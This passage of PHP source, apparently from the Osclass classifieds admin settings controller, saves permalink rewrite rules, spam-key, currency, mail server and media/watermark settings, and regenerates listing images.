                        Preference::newInstance()->update(array('s_value' => $rewrite_user_activate), array('s_name' => 'rewrite_user_activate'));
                    }
                    $rewrite_user_activate_alert = substr(str_replace('//', '/', Params::getParam('rewrite_user_activate_alert') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_activate_alert)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_activate_alert), array('s_name' => 'rewrite_user_activate_alert'));
                    }
                    $rewrite_user_profile = substr(str_replace('//', '/', Params::getParam('rewrite_user_profile') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_profile)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_profile), array('s_name' => 'rewrite_user_profile'));
                    }
                    $rewrite_user_items = substr(str_replace('//', '/', Params::getParam('rewrite_user_items') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_items)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_items), array('s_name' => 'rewrite_user_items'));
                    }
                    $rewrite_user_alerts = substr(str_replace('//', '/', Params::getParam('rewrite_user_alerts') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_alerts)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_alerts), array('s_name' => 'rewrite_user_alerts'));
                    }
                    $rewrite_user_recover = substr(str_replace('//', '/', Params::getParam('rewrite_user_recover') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_recover)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_recover), array('s_name' => 'rewrite_user_recover'));
                    }
                    $rewrite_user_forgot = substr(str_replace('//', '/', Params::getParam('rewrite_user_forgot') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_forgot)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_forgot), array('s_name' => 'rewrite_user_forgot'));
                    }
                    $rewrite_user_change_password = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_password') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_password)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_change_password), array('s_name' => 'rewrite_user_change_password'));
                    }
                    $rewrite_user_change_email = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_email') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_email)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_change_email), array('s_name' => 'rewrite_user_change_email'));
                    }
                    $rewrite_user_change_email_confirm = substr(str_replace('//', '/', Params::getParam('rewrite_user_change_email_confirm') . '/'), 0, -1);
                    if (!osc_validate_text($rewrite_user_change_email_confirm)) {
                        $errors += 1;
                    } else {
                        Preference::newInstance()->update(array('s_value' => $rewrite_user_change_email_confirm), array('s_name' => 'rewrite_user_change_email_confirm'));
                    }
                    osc_reset_preferences();
                    $rewrite = Rewrite::newInstance();
                    osc_run_hook("before_rewrite_rules", array(&$rewrite));
                    $rewrite->clearRules();
                    /*****************************
                     ********* Add rules *********
                     *****************************/
                    // Contact rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_contact') . '/?$', 'index.php?page=contact');
                    // Feed rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_feed') . '/?$', 'index.php?page=search&sFeed=rss');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_feed') . '/(.+)/?$', 'index.php?page=search&sFeed=$1');
                    // Language rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_language') . '/(.*?)/?$', 'index.php?page=language&locale=$1');
                    // Search rules
                    $rewrite->addRule('^' . $search_url . '$', 'index.php?page=search');
                    $rewrite->addRule('^' . $search_url . '/(.*)$', 'index.php?page=search&sParams=$1');
                    // Item rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_mark') . '/(.*?)/([0-9]+)/?$', 'index.php?page=item&action=mark&as=$1&id=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_send_friend') . '/([0-9]+)/?$', 'index.php?page=item&action=send_friend&id=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_contact') . '/([0-9]+)/?$', 'index.php?page=item&action=contact&id=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_new') . '/?$', 'index.php?page=item&action=item_add');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_new') . '/([0-9]+)/?$', 'index.php?page=item&action=item_add&catId=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_activate') . '/([0-9]+)/(.*?)/?$', 'index.php?page=item&action=activate&id=$1&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_edit') . '/([0-9]+)/(.*?)/?$', 'index.php?page=item&action=item_edit&id=$1&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_delete') . '/([0-9]+)/(.*?)/?$', 'index.php?page=item&action=item_delete&id=$1&secret=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_item_resource_delete') . '/([0-9]+)/([0-9]+)/([0-9A-Za-z]+)/?(.*?)/?$', 'index.php?page=item&action=deleteResource&id=$1&item=$2&code=$3&secret=$4');
                    // Item rules
                    $id_pos = stripos($item_url, '{ITEM_ID}');
                    $title_pos = stripos($item_url, '{ITEM_TITLE}');
                    $cat_pos = stripos($item_url, '{CATEGORIES');
                    $param_pos = 1;
                    if ($title_pos !== false && $id_pos > $title_pos) {
                        $param_pos++;
                    }
                    if ($cat_pos !== false && $id_pos > $cat_pos) {
                        $param_pos++;
                    }
                    $comments_pos = 1;
                    if ($id_pos !== false) {
                        $comments_pos++;
                    }
                    if ($title_pos !== false) {
                        $comments_pos++;
                    }
                    if ($cat_pos !== false) {
                        $comments_pos++;
                    }
                    $rewrite->addRule('^' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url . '\\?comments-page=([0-9al]*)')))) . '$', 'index.php?page=item&id=$1&comments-page=$2');
                    $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url . '\\?comments-page=([0-9al]*)')))) . '$', 'index.php?page=item&id=$3&lang=$1_$2&comments-page=$4');
                    $rewrite->addRule('^' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url)))) . '$', 'index.php?page=item&id=$1');
                    $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{ITEM_CITY}', '.*', str_replace('{CATEGORIES}', '.*', str_replace('{ITEM_TITLE}', '.*', str_replace('{ITEM_ID}', '([0-9]+)', $item_url)))) . '$', 'index.php?page=item&id=$3&lang=$1_$2');
                    // User rules
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_login') . '/?$', 'index.php?page=login');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_dashboard') . '/?$', 'index.php?page=user&action=dashboard');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_logout') . '/?$', 'index.php?page=main&action=logout');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_register') . '/?$', 'index.php?page=register&action=register');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_activate') . '/([0-9]+)/(.*?)/?$', 'index.php?page=register&action=validate&id=$1&code=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_activate_alert') . '/([a-zA-Z0-9]+)/(.+)$', 'index.php?page=user&action=activate_alert&email=$2&secret=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_profile') . '/?$', 'index.php?page=user&action=profile');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_profile') . '/([0-9]+)/?$', 'index.php?page=user&action=pub_profile&id=$1');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_items') . '/?$', 'index.php?page=user&action=items');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_alerts') . '/?$', 'index.php?page=user&action=alerts');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_recover') . '/?$', 'index.php?page=login&action=recover');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_forgot') . '/([0-9]+)/(.*)/?$', 'index.php?page=login&action=forgot&userId=$1&code=$2');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_password') . '/?$', 'index.php?page=user&action=change_password');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_email') . '/?$', 'index.php?page=user&action=change_email');
                    $rewrite->addRule('^' . osc_get_preference('rewrite_user_change_email_confirm') . '/([0-9]+)/(.*?)/?$', 'index.php?page=user&action=change_email_confirm&userId=$1&code=$2');
                    // Page rules
                    $pos_pID = stripos($page_url, '{PAGE_ID}');
                    $pos_pSlug = stripos($page_url, '{PAGE_SLUG}');
                    $pID_pos = 1;
                    $pSlug_pos = 1;
                    if (is_numeric($pos_pID) && is_numeric($pos_pSlug)) {
                        // set the order of the parameters
                        if ($pos_pID > $pos_pSlug) {
                            $pID_pos++;
                        } else {
                            $pSlug_pos++;
                        }
                        $rewrite->addRule('^' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', str_replace('{PAGE_ID}', '([0-9]+)', $page_url)) . '/?$', 'index.php?page=page&id=$' . $pID_pos . "&slug=\$" . $pSlug_pos);
                        $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', str_replace('{PAGE_ID}', '([0-9]+)', $page_url)) . '/?$', 'index.php?page=page&lang=$1_$2&id=$' . ($pID_pos + 2) . '&slug=$' . ($pSlug_pos + 2));
                    } else {
                        if (is_numeric($pos_pID)) {
                            $rewrite->addRule('^' . str_replace('{PAGE_ID}', '([0-9]+)', $page_url) . '/?$', 'index.php?page=page&id=$1');
                            $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{PAGE_ID}', '([0-9]+)', $page_url) . '/?$', 'index.php?page=page&lang=$1_$2&id=$3');
                        } else {
                            $rewrite->addRule('^' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', $page_url) . '/?$', 'index.php?page=page&slug=$1');
                            $rewrite->addRule('^([a-z]{2})_([A-Z]{2})/' . str_replace('{PAGE_SLUG}', '([\\p{L}\\p{N}_\\-,]+)', $page_url) . '/?$', 'index.php?page=page&lang=$1_$2&slug=$3');
                        }
                    }
                    // Clean archive files
                    $rewrite->addRule('^(.+?)\\.php(.*)$', '$1.php$2');
                    // Category rules
                    $id_pos = stripos($item_url, '{CATEGORY_ID}');
                    $title_pos = stripos($item_url, '{CATEGORY_SLUG}');
                    $cat_pos = stripos($item_url, '{CATEGORIES');
                    $param_pos = 1;
                    if ($title_pos !== false && $id_pos > $title_pos) {
                        $param_pos++;
                    }
                    if ($cat_pos !== false && $id_pos > $cat_pos) {
                        $param_pos++;
                    }
                    $rewrite->addRule('^' . str_replace('{CATEGORIES}', '(.+)', str_replace('{CATEGORY_SLUG}', '([^/]+)', str_replace('{CATEGORY_ID}', '([0-9]+)', $cat_url))) . '$', 'index.php?page=search&sCategory=$' . $param_pos);
                    osc_run_hook("after_rewrite_rules", array(&$rewrite));
                    //Write rule to DB
                    $rewrite->setRules();
                    $msg_error = '<br/>' . _m('All fields are required.') . " " . sprintf(_mn('One field was not updated', '%s fields were not updated', $errors), $errors);
                    switch ($status) {
                        case 1:
                            $msg = _m("Permalinks structure updated");
                            if ($errors > 0) {
                                $msg .= $msg_error;
                                osc_add_flash_warning_message($msg, 'admin');
                            } else {
                                osc_add_flash_ok_message($msg, 'admin');
                            }
                            break;
                        case 2:
                            $msg = _m("Permalinks structure updated.");
                            $msg .= " ";
                            $msg .= _m("However, we can't check if Apache module <b>mod_rewrite</b> is loaded. If you experience some problems with the URLs, you should deactivate <em>Friendly URLs</em>");
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            osc_add_flash_warning_message($msg, 'admin');
                            break;
                        case 3:
                            $msg = _m("File <b>.htaccess</b> couldn't be filled out with the right content.");
                            $msg .= " ";
                            $msg .= _m("Here's the content you have to add to the <b>.htaccess</b> file. If you can't create the file, please deactivate the <em>Friendly URLs</em> option.");
                            $msg .= "</p><pre>" . htmlentities($htaccess, ENT_COMPAT, "UTF-8") . '</pre><p>';
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            osc_add_flash_error_message($msg, 'admin');
                            break;
                        case 4:
                            $msg = _m("File <b>.htaccess</b> couldn't be filled out with the right content.");
                            $msg .= " ";
                            $msg .= _m("Here's the content you have to add to the <b>.htaccess</b> file. If you can't create the file or experience some problems with the URLs, please deactivate the <em>Friendly URLs</em> option.");
                            $msg .= "</p><pre>" . htmlentities($htaccess, ENT_COMPAT, "UTF-8") . '</pre><p>';
                            if ($errors > 0) {
                                $msg .= $msg_error;
                            }
                            osc_add_flash_error_message($msg, 'admin');
                            break;
                    }
                } else {
                    Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'rewriteEnabled'));
                    Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'mod_rewrite_loaded'));
                    osc_add_flash_ok_message(_m('Friendly URLs successfully deactivated'), 'admin');
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=permalinks');
                break;
            case 'spamNbots':
                // calling the spam and bots view
                $akismet_key = osc_akismet_key();
                $akismet_status = 3;
                if ($akismet_key != '') {
                    require_once osc_lib_path() . 'Akismet.class.php';
                    $akismet_obj = new Akismet(osc_base_url(), $akismet_key);
                    $akismet_status = 2;
                    if ($akismet_obj->isKeyValid()) {
                        $akismet_status = 1;
                    }
                }
                View::newInstance()->_exportVariableToView('akismet_status', $akismet_status);
                $this->doView('settings/spamNbots.php');
                break;
            case 'akismet_post':
                // updating spam and bots option
                $updated = 0;
                $akismetKey = Params::getParam('akismetKey');
                $akismetKey = trim($akismetKey);
                $updated = Preference::newInstance()->update(array('s_value' => $akismetKey), array('s_name' => 'akismetKey'));
                if ($akismetKey == '') {
                    osc_add_flash_info_message(_m('Your Akismet key has been cleared'), 'admin');
                } else {
                    osc_add_flash_ok_message(_m('Your Akismet key has been updated'), 'admin');
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=spamNbots');
                break;
            case 'recaptcha_post':
                // updating spam and bots option
                $iUpdated = 0;
                $recaptchaPrivKey = Params::getParam('recaptchaPrivKey');
                $recaptchaPrivKey = trim($recaptchaPrivKey);
                $recaptchaPubKey = Params::getParam('recaptchaPubKey');
                $recaptchaPubKey = trim($recaptchaPubKey);
                $iUpdated += Preference::newInstance()->update(array('s_value' => $recaptchaPrivKey), array('s_name' => 'recaptchaPrivKey'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $recaptchaPubKey), array('s_name' => 'recaptchaPubKey'));
                if ($recaptchaPubKey == '') {
                    osc_add_flash_info_message(_m('Your reCAPTCHA key has been cleared'), 'admin');
                } else {
                    osc_add_flash_ok_message(_m('Your reCAPTCHA key has been updated'), 'admin');
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=spamNbots');
                break;
            case 'currencies':
                // currencies settings
                $currencies_action = Params::getParam('type');
                switch ($currencies_action) {
                    case 'add':
                        // calling add currency view
                        $aCurrency = array('pk_c_code' => '', 's_name' => '', 's_description' => '');
                        $this->_exportVariableToView('aCurrency', $aCurrency);
                        $this->_exportVariableToView('typeForm', 'add_post');
                        $this->doView('settings/currency_form.php');
                        break;
                    case 'add_post':
                        // adding a new currency
                        $currencyCode = Params::getParam('pk_c_code');
                        $currencyName = Params::getParam('s_name');
                        $currencyDescription = Params::getParam('s_description');
                        // cleaning parameters
                        $currencyName = strip_tags($currencyName);
                        $currencyDescription = strip_tags($currencyDescription);
                        $currencyCode = strip_tags($currencyCode);
                        $currencyCode = trim($currencyCode);
                        if (!preg_match('/^.{1,3}$/', $currencyCode)) {
                            osc_add_flash_error_message(_m('The currency code is not in the correct format'), 'admin');
                            $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        }
                        $fields = array('pk_c_code' => $currencyCode, 's_name' => $currencyName, 's_description' => $currencyDescription);
                        $isInserted = Currency::newInstance()->insert($fields);
                        if ($isInserted) {
                            osc_add_flash_ok_message(_m('Currency added'), 'admin');
                        } else {
                            osc_add_flash_error_message(_m("Currency couldn't be added"), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        break;
                    case 'edit':
                        // calling edit currency view
                        $currencyCode = Params::getParam('code');
                        $currencyCode = strip_tags($currencyCode);
                        $currencyCode = trim($currencyCode);
                        if ($currencyCode == '') {
                            osc_add_flash_warning_message(sprintf(_m("The currency code '%s' doesn't exist"), $currencyCode), 'admin');
                            $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        }
                        $aCurrency = Currency::newInstance()->findByPrimaryKey($currencyCode);
                        if (!$aCurrency) {
                            osc_add_flash_warning_message(sprintf(_m("The currency code '%s' doesn't exist"), $currencyCode), 'admin');
                            $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        }
                        $this->_exportVariableToView('aCurrency', $aCurrency);
                        $this->_exportVariableToView('typeForm', 'edit_post');
                        $this->doView('settings/currency_form.php');
                        break;
                    case 'edit_post':
                        // updating currency
                        $currencyName = Params::getParam('s_name');
                        $currencyDescription = Params::getParam('s_description');
                        $currencyCode = Params::getParam('pk_c_code');
                        // cleaning parameters
                        $currencyName = strip_tags($currencyName);
                        $currencyDescription = strip_tags($currencyDescription);
                        $currencyCode = strip_tags($currencyCode);
                        $currencyCode = trim($currencyCode);
                        if (!preg_match('/.{1,3}/', $currencyCode)) {
                            osc_add_flash_error_message(_m('Error: the currency code is not in the correct format'), 'admin');
                            $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        }
                        $updated = Currency::newInstance()->update(array('s_name' => $currencyName, 's_description' => $currencyDescription), array('pk_c_code' => $currencyCode));
                        if ($updated == 1) {
                            osc_add_flash_ok_message(_m('Currency updated'), 'admin');
                        } else {
                            osc_add_flash_info_message(_m('No changes were made'), 'admin');
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        break;
                    case 'delete':
                        // deleting a currency
                        $rowChanged = 0;
                        $aCurrencyCode = Params::getParam('code');
                        if (!is_array($aCurrencyCode)) {
                            $aCurrencyCode = array($aCurrencyCode);
                        }
                        $msg_current = '';
                        foreach ($aCurrencyCode as $currencyCode) {
                            if (preg_match('/.{1,3}/', $currencyCode) && $currencyCode != osc_currency()) {
                                $rowChanged += Currency::newInstance()->delete(array('pk_c_code' => $currencyCode));
                            }
                            // foreign key error
                            if (Currency::newInstance()->getErrorLevel() == '1451') {
                                $msg_current .= sprintf('</p><p>' . _m("%s couldn't be deleted because it has listings associated to it"), $currencyCode);
                            } else {
                                if ($currencyCode == osc_currency()) {
                                    $msg_current .= sprintf('</p><p>' . _m("%s couldn't be deleted because it's the default currency"), $currencyCode);
                                }
                            }
                        }
                        $msg = '';
                        $status = '';
                        switch ($rowChanged) {
                            case '0':
                                $msg = _m('No currencies have been deleted');
                                $status = 'error';
                                break;
                            case '1':
                                $msg = _m('One currency has been deleted');
                                $status = 'ok';
                                break;
                            default:
                                $msg = sprintf(_m('%s currencies have been deleted'), $rowChanged);
                                $status = 'ok';
                                break;
                        }
                        if ($status == 'ok' && $msg_current != '') {
                            $status = 'warning';
                        }
                        switch ($status) {
                            case 'error':
                                osc_add_flash_error_message($msg . $msg_current, 'admin');
                                break;
                            case 'warning':
                                osc_add_flash_warning_message($msg . $msg_current, 'admin');
                                break;
                            case 'ok':
                                osc_add_flash_ok_message($msg, 'admin');
                                break;
                        }
                        $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                        break;
                    default:
                        // calling the currencies view
                        $aCurrencies = Currency::newInstance()->listAll();
                        $this->_exportVariableToView('aCurrencies', $aCurrencies);
                        $this->doView('settings/currencies.php');
                        break;
                }
                break;
            case 'mailserver':
                // calling the mailserver view
                $this->doView('settings/mailserver.php');
                break;
            case 'mailserver_post':
                if (defined('DEMO')) {
                    osc_add_flash_warning_message(_m("This action can't be done because it's a demo site"), 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
                }
                // updating mailserver
                $iUpdated = 0;
                $mailserverAuth = Params::getParam('mailserver_auth');
                $mailserverAuth = $mailserverAuth != '' ? true : false;
                $mailserverPop = Params::getParam('mailserver_pop');
                $mailserverPop = $mailserverPop != '' ? true : false;
                $mailserverType = Params::getParam('mailserver_type');
                $mailserverHost = Params::getParam('mailserver_host');
                $mailserverPort = Params::getParam('mailserver_port');
                $mailserverUsername = Params::getParam('mailserver_username');
                $mailserverPassword = Params::getParam('mailserver_password');
                $mailserverSsl = Params::getParam('mailserver_ssl');
                if (!in_array($mailserverType, array('custom', 'gmail'))) {
                    osc_add_flash_error_message(_m('Mail server type is incorrect'), 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverAuth), array('s_name' => 'mailserver_auth'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPop), array('s_name' => 'mailserver_pop'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverType), array('s_name' => 'mailserver_type'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverHost), array('s_name' => 'mailserver_host'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPort), array('s_name' => 'mailserver_port'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverUsername), array('s_name' => 'mailserver_username'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPassword), array('s_name' => 'mailserver_password'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverSsl), array('s_name' => 'mailserver_ssl'));
                if ($iUpdated > 0) {
                    osc_add_flash_ok_message(_m('Mail server configuration has changed'), 'admin');
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
                break;
            case 'media':
                // calling the media view
                $max_upload = (int) ini_get('upload_max_filesize');
                $max_post = (int) ini_get('post_max_size');
                $memory_limit = (int) ini_get('memory_limit');
                $upload_mb = min($max_upload, $max_post, $memory_limit) * 1024;
                $this->_exportVariableToView('max_size_upload', $upload_mb);
                $this->doView('settings/media.php');
                break;
            case 'media_post':
                // updating the media config
                $status = 'ok';
                $error = '';
                $iUpdated = 0;
                $maxSizeKb = Params::getParam('maxSizeKb');
                $allowedExt = Params::getParam('allowedExt');
                $dimThumbnail = Params::getParam('dimThumbnail');
                $dimPreview = Params::getParam('dimPreview');
                $dimNormal = Params::getParam('dimNormal');
                $keepOriginalImage = Params::getParam('keep_original_image');
                $use_imagick = Params::getParam('use_imagick');
                $type_watermark = Params::getParam('watermark_type');
                $watermark_color = Params::getParam('watermark_text_color');
                $watermark_text = Params::getParam('watermark_text');
                switch ($type_watermark) {
                    case 'none':
                        $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text_color'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_image'));
                        break;
                    case 'text':
                        $iUpdated += Preference::newInstance()->update(array('s_value' => $watermark_color), array('s_name' => 'watermark_text_color'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => $watermark_text), array('s_name' => 'watermark_text'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_image'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => Params::getParam('watermark_text_place')), array('s_name' => 'watermark_place'));
                        break;
                    case 'image':
                        // upload image & move to path
                        if ($_FILES['watermark_image']['error'] == UPLOAD_ERR_OK) {
                            if ($_FILES['watermark_image']['type'] == 'image/png') {
                                $tmpName = $_FILES['watermark_image']['tmp_name'];
                                $path = osc_content_path() . 'uploads/watermark.png';
                                if (move_uploaded_file($tmpName, $path)) {
                                    $iUpdated += Preference::newInstance()->update(array('s_value' => $path), array('s_name' => 'watermark_image'));
                                } else {
                                    $error .= _m('There was a problem uploading the watermark image') . "<br />";
                                }
                            } else {
                                $error .= _m('The watermark image has to be a .PNG file') . "<br />";
                            }
                        } else {
                            $error .= _m('There was a problem uploading the watermark image') . "<br />";
                        }
                        $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text_color'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text'));
                        $iUpdated += Preference::newInstance()->update(array('s_value' => Params::getParam('watermark_image_place')), array('s_name' => 'watermark_place'));
                        break;
                    default:
                        break;
                }
                // format parameters
                $maxSizeKb = strip_tags($maxSizeKb);
                $allowedExt = strip_tags($allowedExt);
                $dimThumbnail = strip_tags($dimThumbnail);
                $dimPreview = strip_tags($dimPreview);
                $dimNormal = strip_tags($dimNormal);
                $keepOriginalImage = $keepOriginalImage != '' ? true : false;
                $use_imagick = $use_imagick != '' ? true : false;
                // is imagick extension loaded?
                if (!@extension_loaded('imagick')) {
                    $use_imagick = false;
                }
                // max size allowed by PHP configuration?
                $max_upload = (int) ini_get('upload_max_filesize');
                $max_post = (int) ini_get('post_max_size');
                $memory_limit = (int) ini_get('memory_limit');
                $upload_mb = min($max_upload, $max_post, $memory_limit) * 1024;
                // set maxSizeKB equals to PHP configuration if it's bigger
                if ($maxSizeKb > $upload_mb) {
                    $status = 'warning';
                    $maxSizeKb = $upload_mb;
                    // flash message text warning
                    $error .= sprintf(_m("You cannot set a maximum file size higher than the one allowed in the PHP configuration: <b>%d KB</b>"), $upload_mb);
                }
                $iUpdated += Preference::newInstance()->update(array('s_value' => $maxSizeKb), array('s_name' => 'maxSizeKb'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $allowedExt), array('s_name' => 'allowedExt'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $dimThumbnail), array('s_name' => 'dimThumbnail'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $dimPreview), array('s_name' => 'dimPreview'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $dimNormal), array('s_name' => 'dimNormal'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $keepOriginalImage), array('s_name' => 'keep_original_image'));
                $iUpdated += Preference::newInstance()->update(array('s_value' => $use_imagick), array('s_name' => 'use_imagick'));
                if ($error != '') {
                    switch ($status) {
                        case 'error':
                            osc_add_flash_error_message($error, 'admin');
                            break;
                        case 'warning':
                            osc_add_flash_warning_message($error, 'admin');
                            break;
                        default:
                            osc_add_flash_ok_message($error, 'admin');
                            break;
                    }
                } else {
                    osc_add_flash_ok_message(_m('Media config has been updated'), 'admin');
                }
                $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=media');
                break;
            case 'images_post':
                if (defined('DEMO')) {
                    osc_add_flash_warning_message(_m("This action can't be done because it's a demo site"), 'admin');
                    $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=media');
                }
                $wat = new Watermark();
                $aResources = ItemResource::newInstance()->getAllResources();
                foreach ($aResources as $resource) {
                    osc_run_hook('regenerate_image', $resource);
                    $path = osc_content_path() . 'uploads/';
                    // comprobar que no haya original
                    $img_original = $path . $resource['pk_i_id'] . "_original*";
                    $aImages = glob($img_original);
                    // there is original image
                    if (count($aImages) == 1) {
                        $image_tmp = $aImages[0];
                    } else {
                        $img_normal = $path . $resource['pk_i_id'] . ".*";
                        $aImages = glob($img_normal);
                        if (count($aImages) == 1) {
                            $image_tmp = $aImages[0];
                        } else {
                            $img_thumbnail = $path . $resource['pk_i_id'] . "_thumbnail*";
                            $aImages = glob($img_thumbnail);
                            $image_tmp = $aImages[0];
                        }
                    }
                    // extension
                    preg_match('/\\.(.*)$/', $image_tmp, $matches);
                    if (isset($matches[1])) {
                        $extension = $matches[1];
                        // Create normal size
                        $path_normal = $path = osc_content_path() . 'uploads/' . $resource['pk_i_id'] . '.jpg';
                        $size = explode('x', osc_normal_dimensions());
                        ImageResizer::fromFile($image_tmp)->resizeTo($size[0], $size[1])->saveToFile($path);
                        if (osc_is_watermark_text()) {
                            $wat->doWatermarkText($path, osc_watermark_text_color(), osc_watermark_text(), 'image/jpeg');
                        } elseif (osc_is_watermark_image()) {
                            $wat->doWatermarkImage($path, 'image/jpeg');
                        }
                        // Create preview
                        $path = osc_content_path() . 'uploads/' . $resource['pk_i_id'] . '_preview.jpg';
                        $size = explode('x', osc_preview_dimensions());
                        ImageResizer::fromFile($path_normal)->resizeTo($size[0], $size[1])->saveToFile($path);
                        // Create thumbnail
                        $path = osc_content_path() . 'uploads/' . $resource['pk_i_id'] . '_thumbnail.jpg';
                        $size = explode('x', osc_thumbnail_dimensions());
                        ImageResizer::fromFile($path_normal)->resizeTo($size[0], $size[1])->saveToFile($path);
                        // update resource info
                        ItemResource::newInstance()->update(array('s_path' => 'oc-content/uploads/', 's_name' => osc_genRandomPassword(), 's_extension' => 'jpg', 's_content_type' => 'image/jpeg'), array('pk_i_id' => $resource['pk_i_id']));
                        osc_run_hook('regenerated_image', ItemResource::newInstance()->findByPrimaryKey($resource['pk_i_id']));
                        // si extension es direfente a jpg, eliminar las imagenes con $extension si hay
                        if ($extension != 'jpg') {
